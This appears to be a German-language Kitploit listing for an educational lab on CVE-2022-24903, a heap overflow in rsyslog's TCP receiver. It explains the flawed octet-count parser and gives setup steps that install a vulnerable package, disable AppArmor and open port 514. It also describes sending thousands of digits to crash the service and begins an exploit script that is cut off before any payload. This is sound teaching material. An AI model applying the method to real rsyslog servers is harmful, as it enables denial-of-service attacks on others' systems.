Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab — CVE-2022-24903 Heap-basierter Pufferüberlauf | Kitploit
Tools/GitHubGitHub/andree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab
SchwachstellenanalyseExploitationLernen & BildungBinary-ExploitationLabs & Praxis
GitHubandree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab

CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab

CVE-2022-24903 Heap-basierter Pufferüberlauf

Repository anzeigen
18vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-24903 Praktisches Labor

Autor: Andrew Beshay Mousa

Ein praktisches Labor, das die Heap-Pufferüberlauf-Schwachstelle in rsyslog demonstriert.

rsyslog CVE Type Protocol

Eine praktische Laborumgebung, um die rsyslog Heap-Pufferüberlauf-Schwachstelle (CVE-2022-24903) über das Octet-Count-Framing beim TCP-Syslog-Empfang zu reproduzieren und zu verstehen.


Inhaltsverzeichnis

  • Überblick
  • Laborarchitektur
  • Voraussetzungen
  • Schwachstellendetails
  • Laboreinrichtung
    • Zielmaschine (Ubuntu)
    • Angreifermaschine (Kali)
  • Ausnutzung
  • Verifizierung
  • Fehlerbehebung
  • Gegenmaßnahmen
  • Referenzen

Überblick

CVE-2022-24903 ist eine Heap-Pufferüberlauf-Schwachstelle im TCP-Syslog-Empfangsmodul (imtcp) von rsyslog bei Verwendung der oktettzählenden Rahmung (RFC 5425).

Ein Angreifer kann eine präparierte TCP-Syslog-Nachricht mit einem übermäßig langen Oktettanzahl-Präfix senden, wodurch rsyslog über die Grenzen eines heap-allokierten Puffers hinaus schreibt. Dies führt zu einem Denial-of-Service (DoS) oder potenzieller Speicherkorruption.

AttributWert
CVE-IDCVE-2022-24903
Betroffenrsyslog < 8.2204.1
AngriffsvektorNetzwerk
Port514/TCP
Modulimtcp (TCP-Eingang)
AuswirkungDoS / Heap-Korruption
RCE wahrscheinlich?Nein (Herstellereinschätzung)

Laborarchitektur

+----------------------------------------------------------+
|                  Network: Host-Only                       |
|                Subnet: 192.168.56.0/24                   |
+--------------------------+-------------------------------+
|                          |                               |
|   +---------------+      |      +--------------------+   |
|   |  [Attacker]   |      |      |     [Target]       |   |
|   |   Kali Linux  |<-----|----->|  Ubuntu 22.04      |   |
|   |               | TCP  |      |  rsyslog 8.2001.0  |   |
|   |  192.168.56.10| 514  |      |  192.168.56.20     |   |
|   |  RAM: 2GB     |      |      |  RAM: 1GB          |   |
|   |  CPU: 1       |      |      |  CPU: 1            |   |
|   +---------------+      |      +--------------------+   |
|                          |                               |
+----------------------------------------------------------+

Benötigte VMs

VMOSRolleIPRAMCPU
ZielUbuntu 22.04Verwundbarer rsyslog-Server192.168.56.201 GB1
AngreiferKali LinuxExploit-Sender192.168.56.102 GB1

Hinweis: Du kannst jede Ubuntu-Version (20.04, 22.04, 24.04) als Ziel verwenden. Entscheidend ist, das verwundbare rsyslog 8.2001.0-.deb-Paket manuell zu installieren.


Voraussetzungen

  • VirtualBox oder VMware Workstation
  • Ubuntu 22.04 ISO (~2 GB)
  • Kali Linux VM (~4 GB)
  • Host-Only-Netzwerk, konfiguriert in deinem Hypervisor
  • Grundkenntnisse über Linux-Befehle und Python

Schwachstellendetails

Was ist Octet-Counted Framing?

Bei TCP-Syslog (RFC 5425) wird den Nachrichten ihre Länge in Bytes vorangestellt:

123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
 octet count (3 digits = 123 bytes follow)

Der Fehler

In verwundbaren rsyslog-Versionen funktioniert der Oktettanzahl-Parser wie folgt:

  1. Er sammelt Ziffern in einem Heap-Puffer fester Größe
  2. Er prüft die Puffergrenzen beim Schreiben von Ziffern nicht
  3. Er schreibt weiterhin Ziffern, auch nachdem die Oktettanzahl den maximal zulässigen Wert überschritten hat
// Simplified vulnerable logic:
char buffer[20];          // Small heap buffer
int i = 0;
while (isdigit(ch)) {     // Read digits
    buffer[i++] = ch;     // Write to buffer
    // MISSING: if (i >= 20) break;
    ch = next_char();
}

Ergebnis: Das Senden von 9999... (5000+ Ziffern) lässt den Heap-Puffer überlaufen und korrumpiert angrenzenden Speicher.

Warum RCE schwierig ist

  • Der Überlauf ist auf ausschließlich numerische Zeichen (0-9) beschränkt
  • Der Parser stoppt beim ersten Nicht-Ziffern-Zeichen
  • Shellcode kann nicht direkt injiziert werden
  • DoS ist garantiert; RCE wird vom Hersteller als unwahrscheinlich eingestuft

Laboreinrichtung

Schritt 1: Host-Only-Netzwerk konfigurieren

Erstelle in deinem Hypervisor ein Host-Only-Netzwerk:

  • Subnetz: 192.168.56.0/24
  • DHCP: Deaktiviert (statische IPs)

Verbinde beide VMs mit diesem Netzwerk.


Schritt 2: Zielmaschine (Ubuntu)

2.1 Statische IP festlegen

sudo nano /etc/netplan/00-installer-config.yaml

Einfügen:

network:
  version: 2
  ethernets:
    enp0s3:
      dhcp4: no
      addresses:
        - 192.168.56.20/24

Anwenden:

sudo netplan apply

Überprüfen:

ip addr show | grep 192.168.56.20

2.2 Modernes rsyslog stoppen und entfernen

sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y

2.3 Verwundbares rsyslog herunterladen und installieren

cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog

Falls du einen dpkg-Sperrfehler erhältst:

sudo kill -9 <PID>
sudo rm -f /var/lib/dpkg/lock-frontend
sudo dpkg --configure -a

Version überprüfen:

rsyslogd -v | head -2

Erwartete Ausgabe:

rsyslogd  8.2001.0

2.4 AppArmor deaktivieren (nur Labor)

AppArmor kann rsyslog daran hindern, mit dem alten Paket korrekt zu funktionieren:

sudo systemctl stop apparmor
sudo systemctl disable apparmor

2.5 rsyslog für TCP 514 konfigurieren

sudo nano /etc/rsyslog.conf

Datei leeren und Folgendes einfügen:

module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log

2.6 Firewall-Port öffnen

sudo ufw allow 514/tcp
sudo ufw --force enable

2.7 rsyslog starten

sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager

Überprüfen, ob der Dienst lauscht:

sudo ss -tlnp | grep 514

Erwartet:

LISTEN  0  25  0.0.0.0:514  users:(("rsyslogd",pid=...,fd=4))

Schritt 3: Angreifermaschine (Kali)

3.1 Statische IP festlegen

sudo nano /etc/network/interfaces

Einfügen:

auto eth0
iface eth0 inet static
    address 192.168.56.10
    netmask 255.255.255.0

Oder falls du Netplan verwendest:

sudo nano /etc/netplan/01-netcfg.yaml
network:
  version: 2
  ethernets:
    eth0:
      dhcp4: no
      addresses:
        - 192.168.56.10/24
sudo netplan apply

3.2 Exploit-Skript erstellen

cd ~/Desktop
nano exploit.py

Einfügen:

#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""

import socket
import sys

TARGET = "192.168.56.20"  # Change to your Target IP
PORT = 514
Tool herunterladen